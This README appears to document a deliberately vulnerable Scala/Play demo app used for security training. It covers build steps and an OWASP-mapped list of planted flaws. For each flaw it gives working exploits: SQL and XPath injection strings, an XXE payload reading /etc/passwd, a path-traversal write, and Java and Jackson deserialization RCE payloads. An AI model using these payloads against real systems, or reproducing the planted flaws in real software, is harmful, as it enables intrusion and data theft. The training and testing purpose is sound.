$ sbt stage
$ file ./target/helloshiftleft-play-jpa-scala-0.0.1-SNAPSHOT.jar
$ sbt run
See routes at config/routes.
Use localhost
as host name in the URLs
To interact with the endpoints use curl
(or any other tool)
- GET /account
- GET /createCustomer
- POST /account
curl localhost:8082/account -X POST -H "Content-Type: application/json" --data '{ "accountNumber": 1337, "routingNumber": 1222 }'
- GET /customers
- GET /customersXML
$ sbt assembly
$ java -Dplay.server.http.port="8082" -Dplay.server.http.address="127.0.0.1" -jar ./target/helloshiftleft-play-jpa-scala-assembly-0.0.1-SNAPSHOT.jar
The following table shows vulns category implemented in HSL grouped according to OWASP standards.
OWASP category | Vuln description |
---|---|
A1-Injection | Sql Injection |
A2-Broken Auth | missing HttpOnly Cookie |
A3-Sensitive Data Exposure | Weak crypto, clear text storage of sensitive data |
A4-XXE | XML XXE attack |
A5-Broken Access Control | Path traversal |
A6-Sec misconfiguration | not present yet |
A7-XSS | reflected XSS attack |
A8-Insecure deserialization | Java deserialization attacks |
A9-Known Vulnerabilities | we use a vulnerable version of jackson |
There are two SQL injection vulns, the first one in getRawCustomer
and the second in getRawCustomerByName
.
To exploit it you can interact with the endpoint in this way:
Normal behavior: curl "http://localhost:8082/rawcustomersbyname/Joe"
Exploit: curl "http://localhost:8082/rawcustomersbyname/Joe%20'%20or%20'1'='1"
The endpoint /admin/login
reachable via POST request, does not set the cookie as HttpOnly.
The endpoint /customersXML
suffers from an XXE vulnerabily.
curl \
--header "Content-type: application/xml" \
--request GET \
--data '<name>Guillaume</name>' \
http://localhost:8082/customersXML
To exploit the XXE modify the payload above with the malicious one below:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<name>&ent;</name>
</userInfo>
Then you can use the following curl
command to trigger the vulnerability:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:8082' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-GB,en;q=0.5' -H $'Accept-Encoding: gzip;q=0,deflate,sdch' -H $'Content-type: application/xml' -H $'Cookie:' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Length: 168' \
--data-binary $'<!--?xml version=\"1.0\" ?-->\x0d\x0a<!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\x0d\x0a<userInfo>\x0d\x0a <firstName>John</firstName>\x0d\x0a <name>&ent;</name>\x0d\x0a</userInfo>' \
$'http://localhost:8082/customersXML'
As result, the output will contain the passwd file.
saveSettings
contains a arbitrary file write vulnerability. The file relative path is extracted from the attacker controllable cookies.
To exploit the vuln use the filewriteexploit.py
script, as shown below:
python dirtraversalexploit.py http://localhost:8082/saveSettings ../../../../../../../tmp/pwn asd
The above script will send the payload to the url specified as first argument, the relative path that will be used for the directory traversal is passed as second argument.
There is a reflected XSS in /consumers/
. To exploit it visit the /createConsumer
page and specify any malicious payload in the form.
/unmarsh
retrives the lol
parameter from the received POST request, decode64 its values and finally calls readObject
.
To create the payload run DoSerializeRCE
and then use its output to build the POST query as following:
curl localhost:8082/unmarsh -X POST --data-urlencode "lol=rO0ABXNyABNEb1NlcmlhbGl6ZVJDRSRFdmlsx/E6K8+e2zIDAAB4cHg="
curl localhost:8082/unmarsh -X POST --data-urlencode "lol=`cat commons5.b64`"
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 /usr/bin/xcalc > commons5.bin
base64 commons5.bin | tr -d '\040\011\012\015'> commons5.b64
The route /bean1599
accepts POST operations and deserializes via Jackson the received body data.
The file exploit.json
contains the payload for CVE-2017-17485.
Instead, the file exploitold.json
provides the payload for CVE-2017-7525.
To run the exploit, first run the server with sbt run
then type following commands:
export payload=`cat exploit.json`
curl localhost:8082/bean1599 -X POST -H "Content-Type: application/json" -d "$payload"
- https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
- https://github.com/irsl/jackson-rce-via-spel
After starting the service it is possible to bypass the credential check with this URL: http://localhost:8082/checkAccount/admin/x'%20or%20'1'='1 . This results in the following xpath query: //user[username/text()='admin' and password/text()='x' or '1'='1']
and the message Hello admin
.
If you provide wrong credentials the handler returns Error with your credentials!
. Syntax errors as http://localhost:8082/checkAccount/admin/x' result in the error message A server error occurred: javax.xml.xpath.XPathExpressionException: javax.xml.transform.TransformerException: misquoted literal... expected single quote!